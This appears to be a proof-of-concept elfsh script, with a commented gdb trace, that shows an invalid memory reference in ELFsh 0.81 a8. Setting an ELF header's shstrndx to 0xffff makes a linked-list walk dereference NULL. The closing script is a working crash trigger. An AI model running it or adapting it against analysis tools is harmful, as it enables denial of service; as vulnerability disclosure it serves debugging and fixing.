#!/usr/bin/env elfsh #################################################################### #### ELFsh <= 0.81 a8 Invalid memory reference Proof of Concept #### #### nitr0us [at] 0hday [dot] org #### #################################################################### # #nitr0us@fraktal:~/s0ftware/eresi/elfsh$ gdb ./elfsh32 -q #Using host libthread_db library "/usr/lib/debug/libthread_db.so.1". #(gdb) b elfsh_find_previous_rmnbr #Function "elfsh_find_previous_rmnbr" not defined. #Make breakpoint pending on future shared library load? (y or [n]) y #Breakpoint 1 (elfsh_find_previous_rmnbr) pending. #(gdb) r #Starting program: /home/nitr0us/s0ftware/eresi/elfsh/elfsh32 #[Thread debugging using libthread_db enabled] #[New Thread -1212995904 (LWP 15356)] #Breakpoint 2 at 0xb7f5c3b8: file save.c, line 53. #Pending breakpoint "elfsh_find_previous_rmnbr" resolved #DEBUG: List frames allocated at 0xb7e14d80 does not exists in hash : CREATING # # # The ELF shell 0.81 (32 bits built) .::. # # .::. This software is under the General Public License V.2 # .::. Please visit http://www.gnu.org # # # [*] No configuration in ~/.eresirc # # [*] Type help for regular commands # #(elfsh-0.81-a8-dev@local) load /bin/ls # # # [*] Wed Apr 2 16:59:53 2008 - New object loaded : /bin/ls # [*] New object dependences loaded : /lib/librt.so.1 # [*] New object dependences loaded : /lib/libacl.so.1 # [*] New object dependences loaded : /lib/libselinux.so.1 # [*] New object dependences loaded : /lib/libc.so.6 # [*] New object dependences loaded : /lib/libattr.so.1 # [*] New object dependences loaded : /lib/ld-linux.so.2 # [*] New object dependences loaded : /lib/libpthread.so.0 # [*] New object dependences loaded : /lib/libdl.so.2 # [*] New object dependences loaded : /lib/libsepol.so.1 # #(elfsh-0.81-a8-dev@local) set 1.hdr.shstrndx 0xffff # # [*] Expression set succesfully # #(elfsh-0.81-a8-dev@local) save fuck # #[Switching to Thread -1212995904 (LWP 15356)] # #Breakpoint 2, elfsh_find_previous_rmnbr (file=0x82aee00, idx=65535) at save.c:53 #53 PROFILER_IN(__FILE__, __FUNCTION__, __LINE__); #(gdb) l elfsh_find_previous_rmnbr #41 /** #42 * Find the number of removed shdr before a given index #43 * @param file #44 * @param idx #45 * @return #46 */ #47 static int elfsh_find_previous_rmnbr(elfshobj_t *file, u_int idx) #48 { #49 elfshsect_t *sect; #50 int index; #(gdb) #51 int res; #52 #53 PROFILER_IN(__FILE__, __FUNCTION__, __LINE__); #54 #55 sect = file->sectlist; #56 for (res = index = 0; index < idx; index++, sect = sect->next) #57 if (sect->flags & ELFSH_SECTION_REMOVED) #58 res++; #59 PROFILER_ROUT(__FILE__, __FUNCTION__, __LINE__, (res)); #60 } #(gdb) next #55 sect = file->sectlist; #(gdb) n #56 for (res = index = 0; index < idx; index++, sect = sect->next) #(gdb) p sect #$1 = (elfshsect_t *) 0x819b8f8 #(gdb) p *sect #$2 = {name = 0x8298118 "", parent = 0x82aee00, phdr = 0x0, shdr = 0x82b0750, index = 0, next = 0x819b940, prev = 0x82c4308, flags = 2 '\002', data = 0x82b0c08, # altdata = 0x0, terdata = 0x0, lastdata = 0x0, rel = 0x0, srcref = 0, dstref = 0, curend = 0} #(gdb) n #57 if (sect->flags & ELFSH_SECTION_REMOVED) #(gdb) #56 for (res = index = 0; index < idx; index++, sect = sect->next) #(gdb) #57 if (sect->flags & ELFSH_SECTION_REMOVED) #(gdb) p *sect #$3 = {name = 0x819b828 ".interp", parent = 0x82aee00, phdr = 0x82b0688, shdr = 0x82b0778, index = 1, next = 0x819b9a0, prev = 0x819b8f8, flags = 2 '\002', # data = 0x819b988, altdata = 0x0, terdata = 0x0, lastdata = 0x0, rel = 0x0, srcref = 0, dstref = 0, curend = 19} #(gdb) p *sect->next #$4 = {name = 0x8298208 ".note.ABI-tag", parent = 0x82aee00, phdr = 0x82b06e8, shdr = 0x82b07a0, index = 2, next = 0x82b0d68, prev = 0x819b940, flags = 2 '\002', # data = 0x82b0d40, altdata = 0x0, terdata = 0x0, lastdata = 0x0, rel = 0x0, srcref = 0, dstref = 0, curend = 32} #(gdb) p *sect->next->next->next->next->next # AS YOU CAN SEE, sect IS A LINKED LIST CONTAINING SOME INFO ABOUT SECTION HEADERS #$5 = {name = 0x82b1938 ".dynstr", parent = 0x82aee00, phdr = 0x82b0688, shdr = 0x82b0840, index = 6, next = 0x82b1e08, prev = 0x82b11c0, flags = 2 '\002', # data = 0x82b1948, altdata = 0x0, terdata = 0x0, lastdata = 0x0, rel = 0x0, srcref = 0, dstref = 0, curend = 1211} #(gdb) n 300 # #Program received signal SIGSEGV, Segmentation fault. #elfsh_find_previous_rmnbr (file=, idx=65535) at save.c:57 #57 if (sect->flags & ELFSH_SECTION_REMOVED) #(gdb) p sect #$6 = (elfshsect_t *) 0x0 #(gdb) p sect->flags #Cannot access memory at address 0x1c #(gdb) x/i $eip #0xb7f5c3e0 : movsbl 0x1c(%edx),%eax # INVALID MEMORY REFERENCE (0x1c is the offset to flags member) #(gdb) i r edx eax #edx 0x0 0 #eax 0x0 0 #(gdb) p idx #$7 = 65535 # 0xffff (THE VALUE WE SET IN set 1.hdr.shstrndx 0xffff) #(gdb) p index #$8 = 30 # THE COUNTER OF SECTION HEADERS print -=[ ELFsh 0.81 a8 Invalid memory reference Proof of Concept ]=- print -=[ nitr0us [at] 0hday [dot] org ]=- load /bin/ls e set 1.hdr.shstrndx 0xffff save evil_elf # ELFsh should already be dead at this point quit